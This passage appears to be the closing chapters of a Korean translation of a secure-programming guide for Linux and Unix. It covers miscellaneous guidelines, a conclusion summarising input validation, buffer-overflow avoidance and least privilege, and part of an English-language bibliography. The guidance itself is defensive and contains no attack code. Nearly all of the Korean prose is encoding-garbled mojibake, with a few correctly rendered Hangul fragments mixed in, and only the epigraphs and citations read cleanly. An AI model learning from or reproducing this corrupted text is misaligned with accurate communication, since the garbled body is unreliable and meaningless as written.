°¨»ç ·¹Äڵ忡 ÆÐ½º¿öµå¸¦ ±â·ÏÇÏÁö ¸¶¶ó. Á¾Á¾ »ç¶÷µéÀº ¿©·¯ ½Ã½ºÅÛ¿¡ ´ëÇØ ÆÐ½º¿öµå¸¦ ¿ì¿¬È÷ ÀÔ·ÂÇϴµ¥ µû¶ó¼­ ÆÐ½º¿öµå¸¦ ±â·ÏÇÏ´Â °ÍÀº ½Ã½ºÅÛ °ü¸®ÀÚ°¡ °ü¸® ¿µ¿ª ¿ÜºÎÀÇ ´Ù¸¥ ÄÄÇ»ÅÍ¿¡ ħÀÔÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù.


10.10. ±âŸ

´ÙÀ½Àº ´Ù¸¥ Àý¿¡¼­ ±â¼úÇϱ⿡´Â Àû´çÇÏÁö ¾ÊÀ» °Í °°Àº ¿©·¯°¡Áö ±âŸ º¸¾È ÁöħµéÀÌ´Ù:

ÇÁ·Î±×·¥ÀÇ °¡Á¤µéÀ» »ç¿ëÇϱâ Àü¿¡ Àû¾îµµ (ÇÁ·Î±×·¥ ½ÃÀۺκп¡¼­) ÇÁ·Î±×·¥ÀÌ À̵éÀÇ ÀϺθ¦ °Ë»çÇÏ°Ô Ç϶ó. ¿¹¸¦ µé¾î ÁÖ¾îÁø µð·ºÅ丮¿¡ ¼³Á¤µÈ "sticky" ºñÆ®¿¡ ÀÇÁ¸ÇÑ´Ù¸é À̸¦ °Ë»çÇØ¶ó. ÀÌ·¯ÇÑ °Ë»çµéÀº °ÅÀÇ ½Ã°£ÀÌ °É¸®Áö ¾ÊÁö¸¸ ½É°¢ÇÑ ¹®Á¦¸¦ ¿¹¹æÇÒ ¼ö ÀÖ´Ù. °¢ È£Ãâ¿¡ ´ëÇØ ¾à°£ÀÇ °Ë»ç¿¡ °É¸®´Â ½Ã°£ÀÌ ¿ì·ÁµÈ´Ù¸é Àû¾îµµ ¼³Ä¡½Ã¿¡ °Ë»ç¸¦ Çϰųª ¶Ç´Â ´õ¿í ÁÁÀº °ÍÀº ¾ÖÇø®ÄÉÀÌ¼Ç ½Ãµ¿½Ã¿¡ Àû¾îµµ °Ë»ç¸¦ ¼öÇàÇØ¶ó.

³»Àå ½ºÅ©¸³ÆÃ ¾ð¾î¸¦ °®°í ÀÖ´Ù¸é ÀÌ ¾ð¾î°¡ ½ºÅ©¸³Æ®¸¦ È£ÃâÇÏ´Â ÇÁ·Î±×·¥¿¡ ³ª»Û ¿µÇâÀ» ¹ÌÄ¥ ¼ö Àִ ȯ°æ º¯¼ö¸¦ ¼³Á¤ÇÏ´Â °ÍÀÌ °¡´ÉÇÒ ¼öµµ ÀÖ´Ù. ÀÌ¿¡ ´ëÃ³ÇØ¶ó.

º¹ÀâÇÑ ¼³Á¤ ¾ð¾î°¡ ÇÊ¿äÇÏ´Ù¸é ÀÌ ¾ð¾î°¡ ÁÖ¼® ¹®ÀÚ¸¦ °®°í ÀÖ°í ÁÖ¼®Ã³¸®µÈ ¸¹Àº º¸¾ÈÀûÀÎ ¿¹µéÀ» Æ÷ÇÔÇÏ´Â Áö È®ÀÎÇØ¶ó. ´ë°³ '#'ÀÌ ÁÖ¼®À» ´Ù´Âµ¥ »ç¿ëµÇ´Âµ¥ ÀÌ ¶óÀÎÀÇ ³ª¸ÓÁö°¡ ÁÖ¼®ÀÌ´Ù.

°¡´ÉÇÏ´Ù¸é setuid ¶Ç´Â setgid ·çÆ® ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏÁö ¸¶¶ó; ´ë½Å ·çÆ®·Î »ç¿ëÀÚ ·Î±×ÀÎÀ» ÇØ¶ó.

Äڵ忡 ¼­¸íÇØ¶ó. ÀÌ·¸°Ô ÇÔÀ¸·Î½á ¾òÀ» ¼ö ÀÖ´Â °ÍÀÌ º¸³»Á³´ø °ÍÀÎÁö¸¦ »ìÆìº¸±â À§ÇØ ´Ù¸¥ »ç¶÷µéÀÌ °Ë»çÇÒ ¼ö ÀÖ´Ù.

Á¤ÀûÀ¸·Î ¸µÅ©µÇ´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» °í·ÁÇØ¶ó. ÀÌ´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ µ¿Àû ¸µÅ© ¶óÀ̺귯¸¦ »ç¿ëÇÏÁö ¾ÊÀ½À» È®ÀÎÇÔÀ¸·Î½á ÀÌ ¸ÞÄ«´ÏÁò¿¡ ´ëÇÑ °ø°Ý¿¡ ´ëÀÀÇÑ´Ù. ±×·¯³ª ÀÌ´Â ¸î°¡Áö ´ÜÁ¡ÀÌ Àִµ¥ µ¿ÀÏÇÑ ·çƾÀÇ ´ÙÁß º¹»ç¶§¹®¿¡ µð½ºÅ©¿Í ¸Þ¸ð¸® »ç¿ëÀ» Áõ°¡½Ãų ¼ö ÀÖÀ¸¸ç ¶ÇÇÑ ´õ¿í ¹Ù¶÷Á÷ ÇÏÁö ¾ÊÀº °ÍÀº º¸¾È Ãë¾à¼º¿¡ ´ëÇÑ ¶óÀ̺귯¸® °»½ÅÀ» ´õ¿í ¾î·Æ°Ô ¸¸µç´Ù - ´ëºÎºÐÀÇ ½Ã½ºÅÛ¿¡¼­ À̵éÀº ÀÚµ¿ÀûÀ¸·Î °»½ÅµÇÁö ¾ÊÀ» °ÍÀÌ¸ç °³º°ÀûÀ¸·Î ã¾Æ³» ±¸ÇöµÇ¾î¾ß ÇÑ´Ù.

Äڵ带 ÀÚ¼¼È÷ °ËÅäÇÒ ¶§ ÀÏÄ¡ÇÏÁö ¾Ê´Â ¸ðµç °æ¿ì¸¦ °í·ÁÇØ¶ó. ¿¹¸¦ µé¾î switch ¹®ÀÌ ÀÖ´Ù¸é cases Áß ¾Æ¹« °Íµµ ÀÏÄ¡ÇÏÁö ¾ÊÀ» ¶§ ¹«¾ùÀÌ ¹ß»ýÇÒ °ÍÀΰ¡? "if" ¹®ÀÌ ÀÖ´Ù¸é Á¶°ÇÀÌ ½ÇÆÐÇÒ ¶§ ¹«¾ùÀÌ ¹ß»ýÇÒ °ÍÀΰ¡?

´ÜÁö ÆÄÀÏÀ» ``removing" ÇÑ´Ù°í ÇØ¼­ ÀÌ µð½ºÅ©·ÎºÎÅÍ ÆÄÀÏ µ¥ÀÌŸ¸¦ Á¦°ÅÇÏ´Â °ÍÀº ¾Æ´Ï´Ù; ´ëºÎºÐÀÇ ½Ã½ºÅÛ¿¡¼­´Â ÀÌ ³»¿ëÀ» ``deleted" ·Î Ç¥½ÃÇÏ¿© ÃßÈÄ Àç»ç¿ë¿¡ ¾Ë¸Â°Ô ¸¸µé¸ç ´ë°³ µ¥ÀÌŸ´Â Àû¾îµµ ´Ù¸¥ °÷ (¸Þ¸ð¸®, ½º¿Ò ÆÄÀÏ ¹× Àӽà ÆÄÀÏ) ¿¡ ÀϽÃÀûÀ¸·Î ÀúÀåµÈ´Ù. Á¤¸»·Î ´ÜÈ£ÇÑ °ø°Ý¿¡ ´ëÇ×Çϱâ À§Çؼ­´Â µ¥ÀÌŸ¸¦ °ãÃľ²´Â °ÍÀ¸·Î´Â ÃæºÐÇÏÁö ¾Ê´Ù. ÀÚ¼ºÃ¼ ¹Ìµð¾î¸¦ Áö¿ì´Â ¹®Á¦¿¡ ´ëÇÑ °íÀüÀûÀÎ ³í¹®Àº Peter Gutman ÀÇ ³í¹® ``Secure Deletion of Data from Magnetic and Solid-State Memory''ÀÌ´Ù. °ú°¨ÇÑ ÀûÀº ÄÄÇ»ÅÍ¿¡¼­ ¹æÃâµÇ´Â ÀüÀڱ⠸ð´ÏÅ͸µ (±º»ç ½Ã½ºÅÛµéÀº À̸¦ ±Øº¹Çϱâ À§ÇØ TEMPEST ±ÔÄ¢À» µû¶ó¾ß ÇÑ´Ù) ¹× Űº¸µå¿¡ ¼û°ÜÁø ¸ð´ÏÅÍ¿Í °°Àº ºñ¹Ð °ø°Ý µîÀÇ ´Ù¸¥ ¹æ¹ýÀ» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù.

º¸¾È Ãë¾à¼ºÀ» ¼öÁ¤ÇÒ ¶§ (ÇöÀç ¼öÁ¤µÈ) Ãë¾à¼ºÀ» ¾Ç¿ëÇÏ·Á´Â ½Ãµµ¸¦ ŽÁöÇØ ±â·ÏÇϱâ À§ÇØ ``°æ°í" ¸¦ Ãß°¡ÇÏ´Â °ÍÀ» °í·ÁÇØ¶ó. À̴ ƯÈ÷ °ø°ÝÀÚ°¡ °ø°ÝÀÌ È¿°ú°¡ ÀÖÀ» °ÍÀÎÁö ¹Ì¸® °áÁ¤ÇÒ ¹æ¹ýÀÌ ¾ø´Ù¸é ÁøÇàÁßÀÎ °ø°ÝÀ» ³ëÃâ½Ã۱⠶§¹®¿¡ °ø°Ý °¡´É¼ºÀ» °¨¼Ò½Ãų °ÍÀÌ´Ù. ¿ä¾àÇϸé Ãë¾à¼ºÀ» ħÀÔ Å½Áö ½Ã½ºÅÛÀ¸·Î º¯È¯½ÃÄѶó. ÀÌ´Â ¶ÇÇÑ ÀÎÁõÀü¿¡ ¼­¹ö ÇÁ·Î±×·¥ÀÇ ¹öÀüÀ» µå·¯³»´Â °ÍÀº º¸¾È¿¡ ´ëÇØ ³ª»Û °³³äÀ̶ó°í Á¦¾ÈÇÑ´Ù. ¿Ö³ÄÇÏ¸é ¹öÀüÀ» µå·¯³¿À¸·Î½á °ø°ÝÀÚ°¡ È¿°ú°¡ ÀÖÀ» °ø°Ý¸¸À» »ç¿ëÇÏ´Â °ÍÀ» ½±°Ô Çϱ⠶§¹®ÀÌ´Ù. ¸î¸î ÇÁ·Î±×·¥Àº °ø°ÝÀÚ°¡ ``À߸øµÈ °ø°Ý"À» »ç¿ëÇØ ŽÁöµÉ ¼ö ÀÖµµ·Ï ÀǵµÀûÀ¸·Î ¹öÀüÀ» Ʋ¸®°Ô ¸»ÇÏ´Â °ÍÀ» °¡´ÉÇÏ°Ô ÇÑ´Ù. ¶ÇÇÑ Ãë¾à¼ºÀÌ ³×Æ®¿öÅ©¸¦ ÅëÇØ À¯¹ßµÈ´Ù¸é ¹Ýµå½Ã º¸¾È ½ºÄ³³Ê°¡ Ãë¾à¼ºÀ» ŽÁöÇÒ ¼ö ÀÖµµ·Ï Çϱâ¹Ù¶õ´Ù. ÀúÀÚ´Â Nessus ¸¦ »ç¿ëÇϱ⸦ ÃßõÇϴµ¥ ¹Ýµå½Ã ¿ÀÇ ¼Ò½º º¸¾È ½ºÄ³³Ê°¡ ¹®Á¦Á¡À» ŽÁöÇÒ ¼ö ÀÖµµ·Ï ÇØ¶ó. ÀÌ·¸°Ô ÇÔÀ¸·Î½á °»½Å¿¡ ´ëÇØ ¼ÒÇÁÆ®¿þ¾î¸¦ °Ë»çÇÏÁö ¾Ê´Â »ç¿ëÀÚ°¡ ÃÖ¼ÒÇÑ º¸¾È Ãë¾à¼º ½ºÄµµ¿¾È¿¡ ¹®Á¦¿¡ ¹è¿ï °ÍÀÌ´Ù.

¶§¶§·Î ÀÌ Ã¥°ú °°Àº º¸¾È ÁöħÀ» °ËÅäÇØ¶ó. ÃÖ¼ÒÇÑ 11장 ³»ÀÇ °á·ÐÀ» ´Ù½Ã ÀÐÀº ÈÄ ¼Ò°³ (1장) ·Î µÇµ¹¾Æ°¡ ´Ù½Ã Àоî¶ó.


11장. °á·Ð

 

The end of a matter is better than its beginning, and patience is better than pride.

 Ecclesiastes 7:8 (NIV)

Á¤¸» º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ¼³°èÇÏ°í ±¸ÇöÇÏ´Â °ÍÀº ¸®´ª½º ¹× À¯´Ð½º¿Í °°Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­´Â ½ÇÁ¦·Î ¾î·Á¿î ÀÛ¾÷Àε¥ Á¤¸» º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ÀáÀçÀûÀ¸·Î ¾ÇÀÇÀÖ´Â »ç¿ëÀÚ°¡ Á¦¾îÇÏ´Â ¸ðµç °¡´ÉÇÑ ÀԷ°ú ȯ°æ¿¡ ÀûÀýÇÏ°Ô ÀÀ´äÇØ¾ß ÇÑ´Ù´Â °ÍÀº ¾î·Æ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ °³¹ßÀÚµéÀº ÇÁ·Î±×·¥ÀÇ Ãë¾à¼ºÀ» ÁÙÀ̱â À§ÇØ °¢ÀÚÀÇ Ç÷§ÆûÀ» ±í°Ô ÀÌÇØÇϰí ÁöħµéÀ» ã¾Æ »ç¿ëÇÑ ÈÄ ¼¼ºÎ °ËÅä (peer review) ¿Í °°Àº º¸Áõ ÇÁ·Î¼¼½º¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù.

°á·ÐÀûÀ¸·Î ´ÙÀ½Àº ÀÌ Ã¥¿¡¼­ ±â¼úÇÑ ÁÖ¿ä ÁöħµéÀÇ ÀϺÎÀÌ´Ù:

  • Ä¿¸Çµå ¶óÀÎ ÀÔ·Â, ȯ°æ º¯¼ö, CGI ÀÔ·Â µî ¸ðµç ÀÔ·ÂÀ» È®ÀÎÇØ¶ó. Ʋ¸° ÀÔ·ÂÀ» ±×Àú °ÅÀýÇÏÁö ¸¶¶ó; ¹«¾ùÀÌ ¼ö¿ë°¡´ÉÇÑ ÀÔ·ÂÀÎÁö¸¦ Á¤ÀÇÇϰí ÀÏÄ¡ÇÏÁö ¾Ê´Â ¸ðµç °ÍÀ» °ÅÀýÇØ¶ó.

  • ¹öÆÛ ¿À¹öÇ÷ο츦 ÇÇÇØ¶ó. ±ä ÀÔ·Â (°ú ±ä Áß°£ µ¥ÀÌŸ °ª) ÀÌ ÇÁ·Î±×·¥À» ºñÁ¤»óÀûÀ¸·Î µ¿ÀÛ½Ã۴µ¥ »ç¿ëµÉ ¼ö ¾øÀ½À» È®ÀÎÇØ¶ó. ÀÌ´Â ÇöÀç ±âº»ÀûÀÎ ÇÁ·Î±×·¥ÀûÀÎ ¿¡·¯ÀÌ´Ù.

  • ÇÁ·Î±×·¥ ³»ºÎ¸¦ ±¸Á¶È­Çضó. ÀÎÅÍÆäÀ̽º¸¦ ¾ÈÀüÇÏ°Ô ÇÏ°í ±ÇÇÑÀ» ÃÖ¼Ò·Î Çϸç Ãʱ⼳Á¤°ú µðÆúÆ®¸¦ ¾ÈÀüÇÏ°Ô ¸¸µé°í ¿À·ù½Ã ÀÚµ¿ÀûÀ¸·Î Á¤»ó»óÅ·Πµ¹¾Æ°¡°Ô ÇØ¶ó (fail-safe). °æÀï »óŸ¦ ÇÇÇØ¶ó (¿¹, /tmp ¿Í °°Àº °øÀ¯ µð·ºÅ丮³»ÀÇ ¸ðµç ÆÄÀϵéÀ» ¾ÈÀüÇÏ°Ô ¿ÀÇÂÇÔÀ¸·Î½á). ´ÜÁö ½Å·ÚÇÒ ¼ö Àִ ä³Î¸¸À» ½Å·ÚÇØ¶ó (¿¹, ´ëºÎºÐÀÇ ¼­¹ö°¡ º¸¾È °Ë»ç ¶Ç´Â ±¸ÀԽà ¾ÆÀÌÅÛ °¡°Ý°ú °°Àº ±â¹ÐÀ» ´Ù·ç´Â µ¥ÀÌŸ¿¡ ´ëÇØ Ŭ¶óÀÌ¾ðÆ®¸¦ ½Å·ÚÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù.)

  • ÁÖÀDZí°Ô ´Ù¸¥ ÀÚ¿øµéÀ» È£ÃâÇØ¶ó. À̵éÀÇ °ªµéÀ» À¯È¿ÇÑ °ªµé·Î Á¦ÇÑÇϰí (ƯÈ÷ ¸ÞŸ¹®ÀÚ¿¡ ÁÖÀÇÇØ¶ó) ¸ðµç ½Ã½ºÅÛ È£Ãâ ¹Ýȯ °ªµéÀ» °Ë»çÇØ¶ó.

  • Á¤º¸¸¦ ½ÅÁßÇÏ°Ô ÀÀ´äÇØ¶ó. ƯÈ÷ Çǵå¹éÀ» ÃÖ¼ÒÈ­ÇÏ°í ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀÚ¿¡ ´ëÇØ ¿ÏÀüÇϰųª ¹«¹ÝÀÀÀÇ Ãâ·ÂÀ» ´Ù·ï¶ó.


12장. ¹®Çå ¸ñ·Ï

 

The words of the wise are like goads, their collected sayings like firmly embedded nails--given by one Shepherd. Be warned, my son, of anything in addition to them. Of making many books there is no end, and much study wearies the body.

 Ecclesiastes 12:11-12 (NIV)

À¥»ó¿¡¼­ ¾òÀ» ¼ö ÀÖ´Â ±â¼úÀû ±â»çµéÀ» ¸Å¿ì °­Á¶ÇÔÀ» ÁÖ¸ñÇØ¶ó. À¥Àº ÀÌ·¯ÇÑ Á¾·ùÀÇ ±â¼úÀû Á¤º¸ ´ëºÎºÐÀ» ¾òÀ» ¼ö ÀÖ´Â °÷ÀÌ´Ù.

[Advosys 2000] Advosys Consulting (formerly named Webber Technical Services). Writing Secure Web Applications. http://advosys.ca/tips/web-security.html

[Al-Herbish 1999] Al-Herbish, Thamer. 1999. Secure Unix Programming FAQ. http://www.whitefang.com/sup.

[Aleph1 1996] Aleph1. November 8, 1996. ``Smashing The Stack For Fun And Profit''. Phrack Magazine. Issue 49, Article 14. http://www.phrack.com/search.phtml?view&article=p49-14 or alternatively http://www.2600.net/phrack/p49-14.html.

[Anonymous 1999] Anonymous. October 1999. Maximum Linux Security: A Hacker's Guide to Protecting Your Linux Server and Workstation Sams. ISBN: 0672316706.

[Anonymous 1998] Anonymous. September 1998. Maximum Security : A Hacker's Guide to Protecting Your Internet Site and Network. Sams. Second Edition. ISBN: 0672313413.

[AUSCERT 1996] Australian Computer Emergency Response Team (AUSCERT) and O'Reilly. May 23, 1996 (rev 3C). A Lab Engineers Check List for Writing Secure Unix Code. ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist

[Bach 1986] Bach, Maurice J. 1986. The Design of the Unix Operating System. Englewood Cliffs, NJ: Prentice-Hall, Inc. ISBN 0-13-201799-7 025.

[Bellovin 1989] Bellovin, Steven M. April 1989. "Security Problems in the TCP/IP Protocol Suite" Computer Communications Review 2:19, pp. 32-48. http://www.research.att.com/~smb/papers/ipext.pdf

[Bellovin 1994] Bellovin, Steven M. December 1994. Shifting the Odds -- Writing (More) Secure Software. Murray Hill, NJ: AT&T Research. http://www.research.att.com/~smb/talks

[Bishop 1996] Bishop, Matt. May 1996. ``UNIX Security: Security in Programming''. SANS '96. Washington DC (May 1996). http://olympus.cs.ucdavis.edu/~bishop/secprog.html

[Bishop 1997] Bishop, Matt. October 1997. ``Writing Safe Privileged Programs''. Network Security 1997 New Orleans, LA. http://olympus.cs.ucdavis.edu/~bishop/secprog.html

[Blaze 1996] Blaze, Matt, Whitfield Diffie, Ronald L. Rivest, Bruce Schneier, Tsutomu Shimomura, Eric Thompson, and Michael Wiener. January 1996. ``Minimal Key Lengths for Symmetric Ciphers to Provide Adequate Commercial Security: A Report by an Ad Hoc Group of Cryptographers and Computer Scientists.'' ftp://ftp.research.att.com/dist/mab/keylength.txt and ftp://ftp.research.att.com/dist/mab/keylength.ps.

[CC 1999] The Common Criteria for Information Technology Security Evaluation (CC). August 1999. Version 2.1. Technically identical to International Standard ISO/IEC 15408:1999. http://csrc.nist.gov/cc/ccv20/ccv2list.htm

[CERT 1998] Computer Emergency Response Team (CERT) Coordination Center (CERT/CC). February 13, 1998. Sanitizing User-Supplied Data in CGI Scripts. CERT Advisory CA-97.25.CGI_metachar. http://www.cert.org/advisories/CA-97.25.CGI_metachar.html.

[Clowes 2001] Clowes, Shaun. 2001. ``A Study In Scarlet - Exploiting Common Vulnerabilities in PHP'' http://www.securereality.com.au/archives.html

[CMU 1998] Carnegie Mellon University (CMU). February 13, 1998 Version 1.4. ``How To Remove Meta-characters From User-Supplied Data In CGI Scripts''. ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters.

[Cowan 1999] Cowan, Crispin, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole. ``Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade''. Proceedings of DARPA Information Survivability Conference and Expo (DISCEX), http://schafercorp-ballston.com/discex SANS 2000. http://www.sans.org/newlook/events/sans2000.htm. For a copy, see http://immunix.org/documentation.html.

[Cox 2000] Cox, Philip. March 30, 2001. Hardening Windows 2000. http://www.systemexperts.com/win2k/hardenW2K11.pdf.

[Dobbertin 1996]. Dobbertin, H. 1996. The Status of MD5 After a Recent Attack. RSA Laboratories' CryptoBytes. Vol. 2, No. 2.

[Felten 1997] Edward W. Felten, Dirk Balfanz, Drew Dean, and Dan S. Wallach. Web Spoofing: An Internet Con Game Technical Report 540-96 (revised Feb. 1997) Department of Computer Science, Princeton University http://www.cs.princeton.edu/sip/pub/spoofing.pdf

[Fenzi 1999] Fenzi, Kevin, and Dave Wrenski. April 25, 1999. Linux Security HOWTO. Version 1.0.2. http://www.linuxdoc.org/HOWTO/Security-HOWTO.html

[FHS 1997] Filesystem Hierarchy Standard (FHS 2.0). October 26, 1997. Filesystem Hierarchy Standard Group, edited by Daniel Quinlan. Version 2.0. http://www.pathname.com/fhs.

[Filipski 1986] Filipski, Alan and James Hanko. April 1986. ``Making Unix Secure.'' Byte (Magazine). Peterborough, NH: McGraw-Hill Inc. Vol. 11, No. 4. ISSN 0360-5280. pp. 113-128.

[Flake 2001] Flake, Havlar. Auditing Binaries for Security Vulnerabilities. http://www.blackhat.com/html/win-usa-01/win-usa-01-speakers.html.

[FOLDOC] Free On-Line Dictionary of Computing. http://foldoc.doc.ic.ac.uk/foldoc/index.html.

[Forristal 2001] Forristal, Jeff, and Greg Shipley. January 8, 2001. Vulnerability Assessment Scanners. Network Computing. http://www.nwc.com/1201/1201f1b1.html

[FreeBSD 1999] FreeBSD, Inc. 1999. ``Secure Programming Guidelines''. FreeBSD Security Information. http://www.freebsd.org/security/security.html

[FSF 1998] Free Software Foundation. December 17, 1999. Overview of the GNU Project. http://www.gnu.ai.mit.edu/gnu/gnu-history.html

[FSF 1999] Free Software Foundation. January 11, 1999. The GNU C Library Reference Manual. Edition 0.08 DRAFT, for Version 2.1 Beta of the GNU C Library. Available at, for example, http://www.netppl.fi/~pp/glibc21/libc_toc.html

Fu, Kevin, Emil Sit, Kendra Smith, and Nick Feamster. August 2001. ``Dos and Don'ts of Client Authentication on the Web''. Proceedings of the 10th USENIX Security Symposium, Washington, D.C., August 2001. http://cookies.lcs.mit.edu/pubs/webauth.html.

[Galvin 1998a] Galvin, Peter. April 1998. ``Designing Secure Software''. Sunworld. http://www.sunworld.com/swol-04-1998/swol-04-security.html.

[Galvin 1998b] Galvin, Peter. August 1998. ``The Unix Secure Programming FAQ''. Sunworld. http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html

[Garfinkel 1996] Garfinkel, Simson and Gene Spafford. April 1996. Practical UNIX & Internet Security, 2nd Edition. ISBN 1-56592-148-8. Sebastopol, CA: O'Reilly & Associates, Inc. http://www.oreilly.com/catalog/puis

[Garfinkle 1997] Garfinkle, Simson. August 8, 1997. 21 Rules for Writing Secure CGI Programs. http://webreview.com/wr/pub/97/08/08/bookshelf

[Gay 2000] Gay, Warren W. October 2000. Advanced Unix Programming. Indianapolis, Indiana: Sams Publishing. ISBN 0-67231-990-X.

[Geodsoft 2001] Geodsoft. February 7, 2001. Hardening OpenBSD Internet Servers. http://www.geodsoft.com/howto/harden.

[Graham 1999] Graham, Jeff. May 4, 1999. Security-Audit's Frequently Asked Questions (FAQ). http://lsap.org/faq.txt

[Gong 1999] Gong, Li. June 1999. Inside Java 2 Platform Security. Reading, MA: Addison Wesley Longman, Inc. ISBN 0-201-31000-7.

[Gundavaram Unknown] Gundavaram, Shishir, and Tom Christiansen. Date Unknown. Perl CGI Programming FAQ. http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html

[Hall "Beej" 1999] Hall, Brian "Beej". Beej's Guide to Network Programming Using Internet Sockets. 13-Jan-1999. Version 1.5.5. http://www.ecst.csuchico.edu/~beej/guide/net

[ISO 12207] International Organization for Standardization (ISO). 1995. Information technology -- Software life cycle processes ISO/IEC 12207:1995.

[ISO 13335] International Organization for Standardization (ISO). ISO/IEC TR 13335. Guidelines for the Management of IT Security (GMITS). Note that this is a five-part technical report (not a standard); see also ISO/IEC 17799:2000. It includes:

  • ISO 13335-1: Concepts and Models for IT Security

  • ISO 13335-2: Managing and Planning IT Security

  • ISO 13335-3: Techniques for the Management of IT Security

  • ISO 13335-4: Selection of Safeguards

  • ISO 13335-5: Safeguards for External Connections

[ISO 17799] International Organization for Standardization (ISO). December 2000. Code of Practice for Information Security Management. ISO/IEC 17799:2000.

[ISO 9000] International Organization for Standardization (ISO). 2000. Quality management systems - Fundamentals and vocabulary. ISO 9000:2000. See http://www.iso.ch/iso/en/iso9000-14000/iso9000/selection_use/iso9000family.html

[ISO 9000] International Organization for Standardization (ISO). 2000. Quality management systems - Requirements ISO 9001:2000

[Jones 2000] Jones, Jennifer. October 30, 2000. ``Banking on Privacy''. InfoWorld, Volume 22, Issue 44. San Mateo, CA: International Data Group (IDG). pp. 1-12.

[Kelsey 1998] Kelsey, J., B. Schneier, D. Wagner, and C. Hall. March 1998. "Cryptanalytic Attacks on Pseudorandom Number Generators." Fast Software Encryption, Fifth International Workshop Proceedings (March 1998), Springer-Verlag, 1998, pp. 168-188. http://www.counterpane.com/pseudorandom_number.html.

[Kernighan 1988] Kernighan, Brian W., and Dennis M. Ritchie. 1988. The C Programming Language. Second Edition. Englewood Cliffs, NJ: Prentice-Hall. ISBN 0-13-110362-8.

[Kim 1996] Kim, Eugene Eric. 1996. CGI Developer's Guide. SAMS.net Publishing. ISBN: 1-57521-087-8 http://www.eekim.com/pubs/cgibook

[Kuchling 2000]. Kuchling, A.M. 2000. Restricted Execution HOWTO. http://www.python.org/doc/howto/rexec/rexec.html

[LSD 2001] The Last Stage of Delirium. July 4, 2001. UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes. http://lsd-pl.net/papers.html#assembly.

[McClure 1999] McClure, Stuart, Joel Scambray, and George Kurtz. 1999. Hacking Exposed: Network Security Secrets and Solutions. Berkeley, CA: Osbourne/McGraw-Hill. ISBN 0-07-212127-0.

[McKusick 1999] McKusick, Marshall Kirk. January 1999. ``Twenty Years of Berkeley Unix: From AT&T-Owned to Freely Redistributable.'' Open Sources: Voices from the Open Source Revolution. http://www.oreilly.com/catalog/opensources/book/kirkmck.html.

[McGraw 1999] McGraw, Gary, and Edward W. Felten. December 1998. Twelve Rules for developing more secure Java code. Javaworld. http://www.javaworld.com/javaworld/jw-12-1998/jw-12-securityrules.html.

[McGraw 1999] McGraw, Gary, and Edward W. Felten. January 25, 1999. Securing Java: Getting Down to Business with Mobile Code, 2nd Edition John Wiley & Sons. ISBN 047131952X. http://www.securingjava.com.

[McGraw 2000a] McGraw, Gary and John Viega. March 1, 2000. Make Your Software Behave: Learning the Basics of Buffer Overflows. http://www-4.ibm.com/software/developer/library/overflows/index.html.

[McGraw 2000b] McGraw, Gary and John Viega. April 18, 2000. Make Your Software Behave: Software strategies In the absence of hardware, you can devise a reasonably secure random number generator through software. http://www-106.ibm.com/developerworks/library/randomsoft/index.html?dwzone=security.

[Miller 1995] Miller, Barton P., David Koski, Cjin Pheow Lee, Vivekananda Maganty, Ravi Murthy, Ajitkumar Natarajan, and Jeff Steidl. 1995. Fuzz Revisited: A Re-examination of the Reliability of UNIX Utilities and Services. ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.pdf.

[Miller 1999] Miller, Todd C. and Theo de Raadt. ``strlcpy and strlcat -- Consistent, Safe, String Copy and Concatenation'' Proceedings of Usenix '99. http://www.usenix.org/events/usenix99/millert.html and http://www.usenix.org/events/usenix99/full_papers/millert/PACKING_LIST

[Mudge 1995] Mudge. October 20, 1995. How to write Buffer Overflows. l0pht advisories. http://www.l0pht.com/advisories/bufero.html.

[Murhammer 1998] Murhammer, Martin W., Orcun Atakan, Stefan Bretz, Larry R. Pugh, Kazunari Suzuki, and David H. Wood. October 1998. TCP/IP Tutorial and Technical Overview IBM International Technical Support Organization. http://www.redbooks.ibm.com/pubs/pdfs/redbooks/gg243376.pdf

[NCSA] NCSA Secure Programming Guidelines. http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming.

Neumann, Peter. 2000. "Robust Nonproprietary Software." Proceedings of the 2000 IEEE Symposium on Security and Privacy (the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA. Los Alamitos, CA: IEEE Computer Society. pp.122-123.

National Security Agency (NSA). September 2000. Information Assurance Technical Framework (IATF). http://www.iatf.net.

[Open Group 1997] The Open Group. 1997. Single UNIX Specification, Version 2 (UNIX 98). http://www.opengroup.org/online-pubs?DOC=007908799.

[OSI 1999]. Open Source Initiative. 1999. The Open Source Definition. http://www.opensource.org/osd.html.

[Opplinger 1998] Oppliger, Rolf. 1998. Internet and Intranet Security. Norwood, MA: Artech House. ISBN 0-89006-829-1.

[Paulk 1993a] Mark C. Paulk, Bill Curtis, Mary Beth Chrissis, and Charles V. Weber. Capability Maturity Model for Software, Version 1.1. Software Engineering Institute, CMU/SEI-93-TR-24. DTIC Number ADA263403, February 1993. http://www.sei.cmu.edu/activities/cmm/obtain.cmm.html.

[Paulk 1993b] Mark C. Paulk, Charles V. Weber, Suzanne M. Garcia, Mary Beth Chrissis, and Marilyn W. Bush. Key Practices of the Capability Maturity Model, Version 1.1. Software Engineering Institute. CMU/SEI-93-TR-25, DTIC Number ADA263432, February 1993.

[Peteanu 2000] Peteanu, Razvan. July 18, 2000. Best Practices for Secure Web Development. http://members.home.net/razvan.peteanu

